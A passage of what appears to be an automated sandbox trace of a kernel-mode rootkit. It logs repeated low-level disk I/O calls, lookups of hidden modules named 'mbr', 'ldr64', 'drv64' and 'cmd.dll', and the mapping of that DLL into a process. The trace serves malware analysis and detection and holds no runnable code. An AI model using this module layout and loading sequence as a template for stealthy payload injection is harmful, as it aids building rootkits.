(in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.113] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0093.113] IdePortDispatch () returned 0x103 [0093.113] KeWaitForMutexObject () returned 0x0 [0093.113] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0093.113] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0093.113] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.113] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.113] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.113] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0093.113] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0093.113] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0093.113] _strnicmp (_Str1="cmd64.dll", _Str="cmd.dll", _MaxCount=0x10) returned 8 [0093.113] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cmd.dll", _Count=0x10 | out: _Dest="cmd.dll") returned="cmd.dll" [0093.113] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0093.113] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800d7ff8f0 [0093.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.113] KeLeaveCriticalRegion () [0093.113] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.113] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800004f0 | out: SectionHandle=0xfffff88002f9d9e0*=0x24) returned 0x0 [0093.113] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0093.113] KeEnterCriticalRegion () [0093.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.113] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0093.113] IdePortDispatch () returned 0x103 [0093.113] KeWaitForMutexObject () returned 0x0 [0093.114] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0093.114] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0093.114] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.114] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.114] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.114] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0093.114] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0093.114] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0093.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.114] KeLeaveCriticalRegion () [0093.114] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.114] ZwMapViewOfSection (in: SectionHandle=0x24, ProcessHandle=0xffffffff800004f4, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7efa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x9000) returned 0x0 [0093.114] RtlImageNtHeader (BaseAddress=0x7efa0000) returned 0x7efa00f8 [0093.114] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0093.114] KeEnterCriticalRegion () [0093.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.114] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7c000 [0093.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.114] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.114] IdePortDispatch () returned 0x103 [0093.114] KeWaitForMutexObject () returned 0x0 [0093.114] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0093.114] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0093.114] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.114] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.114] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0093.114] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0093.114] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0093.114] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0093.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.115] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.115] IdePortDispatch () returned 0x103 [0093.115] KeWaitForMutexObject () returned 0x0 [0093.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.115] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.115] IdePortDispatch () returned 0x103 [0093.115] KeWaitForMutexObject () returned 0x0 [0093.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.115] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.115] IdePortDispatch () returned 0x103 [0093.115] KeWaitForMutexObject () returned 0x0 [0093.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.115] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.115] IdePortDispatch () returned 0x103 [0093.115] KeWaitForMutexObject () returned 0x0 [0093.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.116] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.116] IdePortDispatch () returned 0x103 [0093.116] KeWaitForMutexObject () returned 0x0 [0093.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.116] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.116] IdePortDispatch () returned 0x103 [0093.116] KeWaitForMutexObject () returned 0x0 [0093.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.116] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.116] IdePortDispatch () returned 0x103 [0093.116] KeWaitForMutexObject () returned 0x0 [0093.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.116] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.117] IdePortDispatch () returned 0x103 [0093.117] KeWaitForMutexObject () returned 0x0 [0093.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.117] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.117] IdePortDispatch () returned 0x103 [0093.117] KeWaitForMutexObject () returned 0x0 [0093.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.117] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.117] IdePortDispatch () returned 0x103 [0093.117] KeWaitForMutexObject () returned 0x0 [0093.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.117] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.117] IdePortDispatch () returned 0x103 [0093.117] KeWaitForMutexObject () returned 0x0 [0093.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.118] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.118] IdePortDispatch () returned 0x103 [0093.118] KeWaitForMutexObject () returned 0x0 [0093.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.118] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.118] IdePortDispatch () returned 0x103 [0093.118] KeWaitForMutexObject () returned 0x0 [0093.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.118] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.118] IdePortDispatch () returned 0x103 [0093.118] KeWaitForMutexObject () returned 0x0 [0093.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.118] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.118] IdePortDispatch () returned 0x103 [0093.119] KeWaitForMutexObject () returned 0x0 [0093.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.119] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.119] IdePortDispatch () returned 0x103 [0093.119] KeWaitForMutexObject () returned 0x0 [0093.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.119] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.119] IdePortDispatch () returned 0x103 [0093.119] KeWaitForMutexObject () returned 0x0 [0093.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.119] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.119] IdePortDispatch () returned 0x103 [0093.119] KeWaitForMutexObject () returned 0x0 [0093.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.120] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.120] IdePortDispatch () returned 0x103 [0093.120] KeWaitForMutexObject () returned 0x0 [0093.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.120] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.120] IdePortDispatch () returned 0x103 [0093.120] KeWaitForMutexObject () returned 0x0 [0093.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.120] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.120] IdePortDispatch () returned 0x103 [0093.120] KeWaitForMutexObject () returned 0x0 [0093.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.121] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.121] IdePortDispatch () returned 0x103 [0093.121] KeWaitForMutexObject () returned 0x0 [0093.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.121] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.121] IdePortDispatch () returned 0x103 [0093.121] KeWaitForMutexObject () returned 0x0 [0093.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.121] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.121] IdePortDispatch () returned 0x103 [0093.121] KeWaitForMutexObject () returned 0x0 [0093.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.122] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.122] IdePortDispatch () returned 0x103 [0093.122] KeWaitForMutexObject () returned 0x0 [0093.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.122] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.122] IdePortDispatch () returned 0x103 [0093.122] KeWaitForMutexObject () returned 0x0 [0093.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.122] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.122] IdePortDispatch () returned 0x103 [0093.122] KeWaitForMutexObject () returned 0x0 [0093.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.122] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.122] IdePortDispatch () returned 0x103 [0093.123] KeWaitForMutexObject () returned 0x0 [0093.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.123] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.123] IdePortDispatch () returned 0x103 [0093.123] KeWaitForMutexObject () returned 0x0 [0093.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.123] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.123] IdePortDispatch () returned 0x103 [0093.123] KeWaitForMutexObject () returned 0x0 [0093.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.123] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0093.123] IdePortDispatch () returned 0x103 [0093.123] KeWaitForMutexObject () returned 0x0 [0093.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.123] MmProbeAndLockPages (in: 